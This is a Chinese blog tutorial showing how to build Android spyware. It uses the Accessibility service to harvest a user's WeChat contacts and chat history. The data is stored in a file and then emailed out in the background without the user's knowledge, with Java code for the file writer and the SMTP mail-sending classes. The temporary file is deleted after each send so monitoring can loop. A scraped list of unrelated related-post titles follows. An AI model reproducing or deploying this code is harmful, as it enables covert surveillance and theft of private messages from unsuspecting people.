1. 首先先展示一下效果图:

2. Accessibility机制

Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();  

遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

获取到这些信息后,我们可以暂时写入文件,以备发送。

private void write(String info){try{FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);PrintStream ps = new PrintStream(fos);ps.println(info);ps.close();}catch (Exception e) {e.printStackTrace();}}

当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182


2. 后台秘密发邮件

当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。

还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

核心代码展示如下:

                        //发送邮件MailSenderInfo mailInfo = new MailSenderInfo();mailInfo.setMailServerHost("smtp.163.com");mailInfo.setMailServerPort("25");mailInfo.setValidate(true);mailInfo.setUserName(userid);  //你的邮箱地址mailInfo.setPassword(password);//您的邮箱密码mailInfo.setFromAddress(from);mailInfo.setToAddress(to);mailInfo.setSubject(subject);mailInfo.setContent(read());//这个类主要来发送邮件SimpleMailSender sms = new SimpleMailSender();//发送文体格式sms.sendTextMail(mailInfo);

其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

public class SimpleMailSender
{/*** 以文本格式发送邮件* @param mailInfo 待发送的邮件的信息*/public boolean sendTextMail(MailSenderInfo mailInfo){// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();if (mailInfo.isValidate()){// 如果需要身份认证,则创建一个密码验证器authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro,authenticator);try{// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());mailMessage.setRecipient(Message.RecipientType.TO,to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// 设置邮件消息的主要内容String mailContent = mailInfo.getContent();mailMessage.setText(mailContent);// 发送邮件Transport.send(mailMessage);}catch (MessagingException ex){ex.printStackTrace();}return false;}
}

MailSenderInfo类展示如下。

public class MailSenderInfo {// 发送邮件的服务器的IP和端口private String mailServerHost = Constant.SERVICE_IP;private String mailServerPort = Constant.SERVICE_PORT;//一般为25// 邮件发送者的地址private String fromAddress;// 邮件接收者的地址private String toAddress;// 登陆邮件发送服务器的用户名和密码private String userName;private String password;// 是否需要身份验证private boolean validate = true;// 邮件主题private String subject;// 邮件的文本内容private String content;/*** 获得邮件会话属性*/public Properties getProperties() {Properties p = new Properties();p.put("mail.smtp.host", this.mailServerHost);p.put("mail.smtp.port", this.mailServerPort);p.put("mail.smtp.auth", "true");return p;}public String getMailServerHost() {return mailServerHost;}public void setMailServerHost(String mailServerHost) {this.mailServerHost = mailServerHost;}public String getMailServerPort() {return mailServerPort;}public void setMailServerPort(String mailServerPort) {this.mailServerPort = mailServerPort;}public boolean isValidate() {return validate;}public void setValidate(boolean validate) {this.validate = validate;}public String getFromAddress(){return fromAddress;}public void setFromAddress(String fromAddress){this.fromAddress = fromAddress;}public String getPassword(){return password;}public void setPassword(String password){this.password = password;}public String getToAddress(){return toAddress;}public void setToAddress(String toAddress){this.toAddress = toAddress;}public String getUserName(){return userName;}public void setUserName(String userName){this.userName = userName;}public String getSubject(){return subject;}public void setSubject(String subject){this.subject = subject;}public String getContent(){return content;}public void setContent(String textContent){this.content = textContent;}
}

转载于:https://www.cnblogs.com/qitian1/p/6461615.html

Android开发——获取微信聊天记录(后台秘密发邮件)相关推荐

  1. 【逆向】【Android微信】获取微信聊天记录

    2020-02-23 晴 郑州 出场人物 沉瓶 - 产品经理 饭咸 - 程序员 工作环境 硬件:MacBook Pro (Retina, 13-inch, Early 2015) 硬件相应系统:mac ...

  2. 【个人开发】通过SQLite获取微信聊天记录

    1. 背景 本想初始化mac,但是看到微信所占内存很大,想必都是聊天记录吧.从几年前一直想提取微信聊天记录,但整不出来,再试一次. 2. 写在前面 之前都知道微信聊天记录备份的数据在本地的db文件里, ...

  3. android 获取加速度传感器值,Android开发获取传感器数据的方法示例【加速度传感器,磁场传感器,光线传感器,方向传感器】...

    本文实例讲述了Android开发获取传感器数据的方法.分享给大家供大家参考,具体如下: package mobile.android.sensor; import java.util.List; im ...

  4. android开发中磁场传感器,Android开发获取传感器数据的方法示例【加速度传感器,磁场传感器,光线传感器,方向传感器】...

    本文实例讲述了Android开发获取传感器数据的方法.分享给大家供大家参考,具体如下: package mobile.android.sensor; import java.util.List; im ...

  5. chatgpt赋能python:Python如何获取微信聊天记录

    Python如何获取微信聊天记录 作为世界上最受欢迎的即时通讯工具之一,微信被大量用户使用.然而,微信聊天记录的备份和管理是一个重要的问题,特别是对于那些需要在工作和个人生活中快速查找重要信息的人来说 ...

  6. Android获取微信聊天记录的过程详解

    开门见山 1.手机获得root的最高权限 2.了解微信本地的目录结构 3.微信本地文件的读取权限 4.微信本地数据库的破解 5.找到相应的数据库表读取 一.手机获得root的最高权限 无论怎么操作,这 ...

  7. android开发获取应用本身耗电量_别找了,Android常用自动化工具全在这儿了!

    Android常用自动化工具 ADB - 是Google提供的为Android编写UI测试用例的自动化工具, Android开发/测试人员不可替代的强大工具 uiautomator - 是Google ...

  8. Android开发获取当前经纬度和详细位置信息(原生代码实现)简单案例

    文章目录 Android定位(经纬度+当前位置信息) 申请权限 LocationManage位置管理器 完整代码 Android定位(经纬度+当前位置信息) 我相信大家在Android开发中应该都有遇 ...

  9. t微信小程序开发-获取微信运动步数

    官方API https://mp.weixin.qq.com/debug/wxadoc/dev/api/we-run.html#wxgetwerundataobject 步骤 最近做一个微信小程序需用 ...

最新文章

  1. python系统问题
  2. 我的第一个Windows Phone 7应用程序
  3. python在工程管理专业的应用案例_工程项目管理软件应用案例(精)
  4. php组件是啥,浅谈PHP组件、框架以及Composer
  5. 调试 不弹出 小米_时隔六年,小米NFC碰碰贴复活,碰一下自动亮灯、联网、投屏...
  6. Vim 命令记录与回放
  7. 一文掌握GaussDB(DWS) SQL进阶技能:全文检索
  8. 数据:BTC全网算力为146.06 EH/s,新增地址数51.19万
  9. HIT Software Construction Review Notes(2-1 Software Lifecycle and Configuration Management)
  10. POJ NOI MATH-7649 我家的门牌号
  11. Unknown failure: Error: java.lang.IllegalStateException: No storage with enough free space; res=-1
  12. 2010罗森伯格HDCS®综合布线分布线销商大会顺利召开
  13. 一个人磊个小山包,与大家磊同一个小山包
  14. STM32固件库编程入门
  15. 论文阅读笔记----《Explaining Answers with Entailment Trees》
  16. 网络的分类(计算机网络)
  17. 科大讯飞 唤醒python_用Python来使用科大讯飞语音识别,so easy
  18. CPLD个人学习笔记
  19. Logo设计中的黄金分割率
  20. 人脸注册,解锁,响应,一网打尽

热门文章

  1. 《功夫熊猫》经典台词:从来没有什么意外
  2. Linux多线程间通信和多进程间通信的方式
  3. Zamplus 晶赞天机
  4. 安卓与单片机进行usb hid通信
  5. 利用Windows的命令行工具tasklist和findstr,start结合计划任务
  6. java命名规范法则大全
  7. 基于微信小程序的图书借阅到期提醒功能实现+后台管理系统(SSM+mysql)-JAVA.VUE【数据库设计、论文、源码、开题报告】
  8. 企业要做好积分营销,提高用户忠诚度
  9. 爱一点计算机音乐数字乐谱,爱一点-《非常幸运》主题曲-EOP教学曲(简谱 需改编)...
  10. 安徽工程大学数据库实验五代码